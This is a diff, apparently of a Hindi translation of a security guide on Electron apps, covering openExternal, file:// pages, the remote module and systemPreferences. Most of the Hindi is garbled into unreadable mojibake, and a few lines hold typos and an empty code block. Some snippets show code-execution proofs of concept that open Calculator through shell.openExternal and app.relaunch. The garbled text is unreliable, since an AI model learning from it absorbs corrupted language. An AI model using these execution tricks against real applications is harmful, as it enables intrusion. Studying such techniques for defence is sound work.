рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
-**Here is a simplified pseudocode:**
+**рдпрд╣рд╛рдБ рдПрдХ рд╕рд░рд▓реАрдХреГрдд pseudocode рд╣реИ:**
.png>)
.png>)
-Electron JS security best practices рд╕рд▓рд╛рд╣ рджреЗрддреА рд╣реИрдВ рдХрд┐ `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЕрдирд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХрдВрдЯреЗрдВрдЯ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рди рдХрд┐рдпрд╛ рдЬрд╛рдП, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓реНрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓реНрд╕ рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ RCE рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдЖрдЧреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП, [рдпрд╣ рд╕рдВрд╕рд╛рдзрди](https://positive.security/blog/url-open-rce#windows-10-19042) рджреЗрдЦреЗрдВ, рдЬреЛ Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ vulnerability рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред
+Electron JS рд╕реБрд░рдХреНрд╖рд╛ рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рдерд╛рдПрдБ `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЕрдирд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХрдВрдЯреЗрдВрдЯ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЪреЗрддрд╛рд╡рдиреА рджреЗрддреА рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди protocols рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╡рд┐рднрд┐рдиреНрди protocols рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ RCE рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдЖрдЧреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП, [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) рджреЗрдЦреЗрдВ, рдЬрд┐рд╕рдореЗрдВ Windows protocol examples рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреЛ рдЗрд╕ vulnerability рдХреЛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
+macos рдореЗрдВ, `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ exploit рдХрд░рдХреЗ arbitrary commands execute рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ `shell.openExternal('file:///System/Applications/Calculator.app')`ред
-**Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ exploits рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:**
+**Windows protocol exploits рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:**
```html
```
-## `file://` Protocol
+## `file://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓
-As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╣рд░ рдлрд╝рд╛рдЗрд▓ рддрдХ рдПрдХрддрд░рдлрд╛ рдкрд╣реБрдБрдЪ рд░рдЦрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ **XSS issues can be used to load arbitrary files** from the users machine. рдПрдХ **рдХрд╕реНрдЯрдо рдкреНрд░реЛрдЯреЛрдХреЙрд▓** рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдРрд╕реЗ рдореБрджреНрджреЛрдВ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕реЗрдЯ рдкрд░ рд╕рд░реНрд╡рд┐рдВрдЧ рддрдХ рд╕реАрдорд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рдЬреИрд╕рд╛ рдХрд┐ [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, **`file://`** рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреЗрдЬреЛрдВ рдХреЛ рдЖрдкрдХреА рдорд╢реАрди рдХреА рд╣рд░ рдлрд╝рд╛рдЗрд▓ рддрдХ рдПрдХрддрд░рдлрд╛ рдкрд╣реБрдБрдЪ рдорд┐рд▓рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **XSS issues can be used to load arbitrary files**ред рдПрдХ **custom protocol** рдХрд╛ рдЙрдкрдпреЛрдЧ рдРрд╕реА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓ рд╕реЗрдЯ рд╕рд░реНрд╡ рдХрд░рдиреЗ рддрдХ рд╕реАрдорд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
## Remote module
-The Electron Remote module **renderer processes рдХреЛ main process APIs рддрдХ рдкрд╣реБрдБрдЪ рджреЗрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рдВрдЪрд╛рд░ рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ attack surface рдХреЛ рдмрдврд╝рд╛ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ cross-site scripting (XSS) рдЬреИрд╕реЗ vulnerabilities рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
+Electron Remote module рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ **renderer processes to access main process APIs**, рдЬрд┐рд╕рд╕реЗ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рдВрдЪрд╛рд░ рд╕реБрдЧрдо рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдЙрддреНрдкрдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ attack surface рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ cross-site scripting (XSS) рдЬреИрд╕реЗ vulnerabilities рдХреЗ рдкреНрд░рддрд┐ рдЕрдзрд┐рдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
> [!TIP]
-> Although the **remote** module main рд╕реЗ renderer processes рддрдХ рдХреБрдЫ APIs рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддрд╛ рд╣реИ, рд╕рд┐рд░реНрдлрд╝ рдЗрди components рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕реАрдзреЗ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рдирд╛ рд╕реАрдзрд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реЛрддрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпреЗ components рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+> рд╣рд╛рд▓рд╛рдБрдХрд┐ **remote** module main рд╕реЗ renderer processes рдХреЛ рдХреБрдЫ APIs expose рдХрд░рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдЗрди components рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реАрдзреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпреЗ components рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
> [!WARNING]
-> Many apps that still use the remote module рдЗрд╕реЗ рдРрд╕реЗ рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ renderer process рдореЗрдВ **NodeIntegration рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдПрдХ **рдмрдбрд╝рд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо** рд╣реИред
+> рдХрдИ рдРрдкреНрд╕ рдЬреЛ рдЕрднреА рднреА remote module рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд╡реЗ рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ **require NodeIntegration to be enabled** in the renderer process, рдЬреЛ рдХрд┐ рдПрдХ **huge security risk** рд╣реИред
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
@@ -319,39 +335,39 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
-рдлрд┐рд░, renderer process module рд╕реЗ objects import рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
+рдлрд┐рд░, renderer process рдЗрд╕ рддрд░рд╣ module рд╕реЗ objects import рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
-рдпрд╣ **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ remote module рдХреЗ object **`app`** рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рд░реЛрдЪрдХ **functions** рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд┐рдП рдЧрдП рд╣реИрдВ:
+рдпрд╣ **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote module рдХреЗ object **`app`** рджреНрд╡рд╛рд░рд╛ expose рдХрд┐рдП рдЧрдП рдХреБрдЫ рд░реЛрдЪрдХ **functions** рджрд░реНрд╢рд╛рддрд╛ рд╣реИ:
- **`app.relaunch([options])`**
-- **Restart** рдХрд░рддрд╛ рд╣реИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╡рд░реНрддрдорд╛рди instance рдХреЛ рдмрдВрдж рдХрд░рдХреЗ рдФрд░ рдПрдХ рдирдпрд╛ instance рд▓реЙрдиреНрдЪ рдХрд░рдХреЗред рдпрд╣ **app updates** рдпрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг **state changes** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред
+- **рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рддрд╛ рд╣реИ** рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ, рд╡рд░реНрддрдорд╛рди рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ **рдмрдВрдж** рдХрд░рдХреЗ рдФрд░ рдПрдХ рдирдпрд╛ **рдкреНрд░рд╛рд░рдВрдн** рдХрд░рдХреЗред рдпрд╣ **рдРрдк рдЕрдкрдбреЗрдЯреНрд╕** рдпрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг **рд╕реНрдерд┐рддрд┐ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред
- **`app.setAppLogsPath([path])`**
-- рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдпрд╛ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **app logs** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпреЗ рдЬрд╛рддреЗ рд╣реИрдВред рд▓реЙрдЧреНрд╕ рдХреЛ **рдкреНрд░рд╛рдкреНрдд** рдпрд╛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **`app.getPath()`** рдпрд╛ **`app.setPath(pathName, newPath)`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред
+- **рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдпрд╛ рдмрдирд╛рддрд╛ рд╣реИ** рдРрдк рд▓реЙрдЧреНрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рд▓реЙрдЧреНрд╕ рдХреЛ **рдкреНрд░рд╛рдкреНрдд** рдпрд╛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **`app.getPath()`** рдпрд╛ **`app.setPath(pathName, newPath)`** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
-- рд╡рд░реНрддрдорд╛рди executable рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **protocol** рдХреЗ рд▓рд┐рдП **default handler** рдХреЗ рд░реВрдк рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддрд╛ рд╣реИред рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдПрдХ **custom path** рдФрд░ **arguments** рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+- **рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддрд╛ рд╣реИ** рд╡рд░реНрддрдорд╛рди executable рдХреЛ рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **protocol** рдХреЗ рд▓рд┐рдП **default handler** рдХреЗ рд░реВрдк рдореЗрдВред рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдПрдХ **custom path** рдФрд░ **arguments** рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
- **`app.setUserTasks(tasks)`**
-- **Tasks category** рдореЗрдВ **Jump List** (Windows рдкрд░) рдХреЗ рд▓рд┐рдП tasks рдЬреЛрдбрд╝рддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ task рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ app рдХреИрд╕реЗ **launch** рд╣реЛ рдпрд╛ рдХреМрди рд╕реЗ **arguments** рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рдПрдБред
+- **рдЯрд╛рд╕реНрдХ рдЬреЛрдбрд╝рддрд╛ рд╣реИ** Jump List рдХреА **Tasks category** рдореЗрдВ (on Windows)ред рдкреНрд░рддреНрдпреЗрдХ рдЯрд╛рд╕реНрдХ рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдРрдк рдХреИрд╕реЗ **рд▓реЙрдиреНрдЪ** рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдХреМрди рд╕реЗ **arguments** рдкрд╛рд╕ рд╣реЛрддреЗ рд╣реИрдВред
- **`app.importCertificate(options, callback)`**
-- рд╕рд┐рд╕реНрдЯрдо рдХреЗ **certificate store** рдореЗрдВ рдПрдХ **PKCS#12 certificate** рдЗрдореНрдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ (рд╕рд┐рд░реНрдл Linux)ред рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **callback** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+- **рдЗрдореНрдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ** рдПрдХ **PKCS#12 certificate** рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдХреЗ **certificate store** рдореЗрдВ (Linux only)ред рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **callback** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
- **`app.moveToApplicationsFolder([options])`**
-- рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ **Applications folder** рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ (macOS рдкрд░)ред Mac рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ **standard installation** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
+- **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ** Applications folder рдкрд░ (on macOS)ред рдпрд╣ Mac рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП **standard installation** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
- **`app.setJumpList(categories)`**
-- Windows рдкрд░ рдПрдХ **custom Jump List** рд╕реЗрдЯ рдпрд╛ рд╣рдЯрд╛рддрд╛ рд╣реИред рдЖрдк рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **categories** рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ tasks рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреИрд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрдВред
+- **рд╕реЗрдЯ** рдпрд╛ **рд╣рдЯрд╛рддрд╛ рд╣реИ** рдПрдХ **custom Jump List** on **Windows**ред рдЖрдк **categories** рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╣реЛ рдХрд┐ рдЯрд╛рд╕реНрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреИрд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрдВред
- **`app.setLoginItemSettings(settings)`**
-- рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ **executables** login рдкрд░ рд▓реЙрдиреНрдЪ рд╣реЛрдВрдЧреЗ рдФрд░ рдЙрдирдХреЗ рд╕рд╛рде рдХреМрди рд╕реЗ **options** рд╣реЛрдВрдЧреЗ (рдХреЗрд╡рд▓ macOS рдФрд░ Windows)ред
+- **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ** рдХрд┐ рдХреМрди рд╕реЗ **executables** login рдкрд░ рд▓реЙрдиреНрдЪ рд╣реЛрдВ рдФрд░ рдЙрдирдХреЗ **options** рдХреНрдпрд╛ рд╣реЛрдВ (macOS and Windows only).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
-## systemPreferences рдореЙрдбреНрдпреВрд▓
+## systemPreferences module
-Electron рдореЗрдВ **рдореБрдЦреНрдп API** рд╣реИ рдЬреЛ system preferences рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдФрд░ **рд╕рд┐рд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯреНрд╕ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, рдФрд░ **setUserDefault** рдЬреИрд╕реЗ рдореЗрдердб рд╕рднреА рдЗрд╕ рдореЙрдбреНрдпреВрд▓ **рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛** рд╣реИрдВред
+Electron рдореЗрдВ system preferences рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдФрд░ **emitting system events** рдХреЗ рд▓рд┐рдП рдпрд╣ **primary API** рд╣реИред **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, рдФрд░ **setUserDefault** рдЬреИрд╕реЗ methods рд╕рднреА рдЗрд╕ module рдХрд╛ **рднрд╛рдЧ** рд╣реИрдВред
-**рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ:**
+**рдЙрдкрдпреЛрдЧ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:**
```javascript
const { systemPreferences } = require('electron');
@@ -366,31 +382,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
-* **Listens** NSDistributedNotificationCenter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **native macOS notifications** рдХреЛ рд╕реБрдирддрд╛ рд╣реИред
-* **macOS Catalina** рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдк CFNotificationCenterAddObserver рдореЗрдВ **nil** рдкрд╛рд╕ рдХрд░рдХреЗ рд╕рднреА distributed notifications рдХреЛ sniff рдХрд░ рд╕рдХрддреЗ рдереЗред
-* **Catalina / Big Sur** рдХреЗ рдмрд╛рдж, sandboxed apps рдлрд┐рд░ рднреА рдирд╛рдо рджреНрд╡рд╛рд░рд╛ notifications рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рдХреЗ рдХрдИ events (рдЙрджрд╛., **screen locks/unlocks**, **volume mounts**, **network activity**, рдЖрджрд┐) рдХреЛ **subscribe** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+* **рд╕реБрдирддрд╛ рд╣реИ** NSDistributedNotificationCenter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **native macOS notifications** рдХреЗ рд▓рд┐рдПред
+* **macOS Catalina** рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдк CFNotificationCenterAddObserver рдореЗрдВ **nil** рдкрд╛рд╕ рдХрд░рдХреЗ **all** distributed notifications рдХреЛ sniff рдХрд░ рд╕рдХрддреЗ рдереЗред
+* **Catalina / Big Sur** рдХреЗ рдмрд╛рдж, sandboxed apps рдлрд┐рд░ рднреА рдХрдИ рдШрдЯрдирд╛рдУрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **screen locks/unlocks**, **volume mounts**, **network activity**, рдЖрджрд┐) рдХреЛ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ notifications register рдХрд░рдХреЗ **subscribe** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
### **getUserDefault / setUserDefault**
-* **NSUserDefaults** рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ macOS рдкрд░ application рдпрд╛ global preferences рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИред
+* **NSUserDefaults** рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ macOS рдкрд░ **application** рдпрд╛ **global** preferences рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИред
-* **getUserDefault** рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╣рд╛рд▓ рдХреА рдлрд╛рдЗрд▓ рд▓реЛрдХреЗрд╢рди (recent file locations) рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рднреМрдЧреЛрд▓рд┐рдХ рд╕реНрдерд╛рди (userтАЩs geographic location)ред
+* **getUserDefault** рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА **retrieve** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ **recent file locations** рдпрд╛ **userтАЩs geographic location**ред
-* **setUserDefault** рдЗрди preferences рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА app рдХреА configuration рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИред
+* **setUserDefault** рдЗрди preferences рдХреЛ **modify** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА app рдХреЗ **configuration** рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред
